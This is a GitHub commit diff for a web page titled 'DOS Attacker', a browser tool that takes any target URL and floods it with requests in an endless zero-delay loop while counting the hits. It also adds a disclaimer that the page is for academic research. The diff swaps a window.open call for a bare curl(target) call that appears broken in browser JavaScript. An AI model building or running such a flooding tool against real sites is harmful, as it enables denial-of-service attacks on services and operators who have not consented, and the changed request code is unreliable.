Skip to content

Commit 6a8ff4e

Browse files
authored
dos部分の変更
1 parent 7cf5f3a commit 6a8ff4e

File tree

3 files changed

+52
-39
lines changed

3 files changed

+52
-39
lines changed

bulma.min.css

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

dos-attacker.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ function attack() {
2626
$("#count").text(kaisuu + "回目のアクセス");
2727

2828
// ターゲットにcurlリクエストを送る
29-
window.open(target,null,'top=0,left=0,width=100,height=100');;
29+
curl(target)
3030

3131
// 攻撃を繰り返す
3232
setTimeout(attack, 0);

dos.html

Lines changed: 50 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -1,47 +1,59 @@
11
<!DOCTYPE html>
22
<html lang="ja">
3-
<head>
4-
<meta charset="UTF-8">
5-
<meta name="description" content="ローカル環境で使えるDosツールです。勉強や実験にお使いください。">
6-
<meta name="viewport" content="width=device-width, initial-scale=1" />
7-
<title>DOS Attacker</title>
8-
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
9-
<script src="dos-attacker.js"></script>
10-
<style>
11-
body { overflow-x: hidden;}
12-
.txt{
13-
display: block;
14-
width: 80%;
15-
padding: 0.5em;
16-
border: 1px solid #999;
17-
box-sizing: border-box;
18-
background: #f2f2f2;
19-
margin:0.5em auto;
20-
height: 50px;
21-
border-radius: 30px;
22-
font-size: 20px;
23-
text-align:center;
24-
}
25-
.local{
26-
text-align: center;
27-
position: absolute;
28-
bottom: 0;
29-
width: 100%;
30-
text-align: center;
31-
}
32-
</style>
33-
</head>
34-
<body>
35-
<h1 style="margin-left: 30px;">DOS Attacker [Version 1.0]</h1>
36-
<div style="text-align: center;width: max-width; margin:0 auto; position: relative;">
3+
4+
<head>
5+
<meta charset="UTF-8">
6+
<meta name="description" content="ローカル環境で使えるDosツールです。勉強や実験にお使いください。">
7+
<meta name="viewport" content="width=device-width, initial-scale=1" />
8+
<title>DOS Attacker</title>
9+
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
10+
<script src="dos-attacker.js"></script>
11+
<link rel="stylesheet" href="bulma.min.css">
12+
<style>
13+
body {
14+
overflow-x: hidden;
15+
}
16+
17+
.txt {
18+
display: block;
19+
width: 80%;
20+
padding: 0.5em;
21+
border: 1px solid #999;
22+
box-sizing: border-box;
23+
background: #f2f2f2;
24+
margin: 0.5em auto;
25+
height: 50px;
26+
border-radius: 30px;
27+
font-size: 20px;
28+
text-align: center;
29+
}
30+
31+
.local {
32+
text-align: center;
33+
position: absolute;
34+
bottom: 0;
35+
width: 100%;
36+
text-align: center;
37+
}
38+
</style>
39+
</head>
40+
41+
<body>
42+
<div id="notification" class="notification" style="z-index: 1; width: 100%;">
43+
※これは学術研究のためのページであり、犯罪行為を助長するものではありません。
44+
</div>
45+
<h1 class="title is-size-1" style="margin-left: 30px;">DOS Attacker [Version 1.0]</h1>
46+
<div style="text-align: center;width: max-width; margin:0 auto; position: relative;">
3747
<p>1.攻撃対象を入力(http://もしくはhttps://を含めてください)</p>
3848
<p>2.ボタンをクリック</p>
3949
<p>※ポップアップを許可してください</p>
4050
<input type="text" id="target" placeholder="Enter the target" class="txt" />
51+
<progress class="progress" max="100" style="width: 80%; text-align: center ;margin:0.5em auto"></progress>
4152
<button onclick="attack()"><img src="continue.png" width="50px" alt="攻撃開始" title="攻撃開始"></button>
4253
<p id="count">0回目のアクセス</p>
43-
</div>
44-
<div class=local>
54+
</div>
55+
<div class=local>
4556
<p>©Zap All rights reserved</p>
46-
</body>
47-
</html>
57+
</body>
58+
59+
</html>

0 commit comments

Comments
 (0)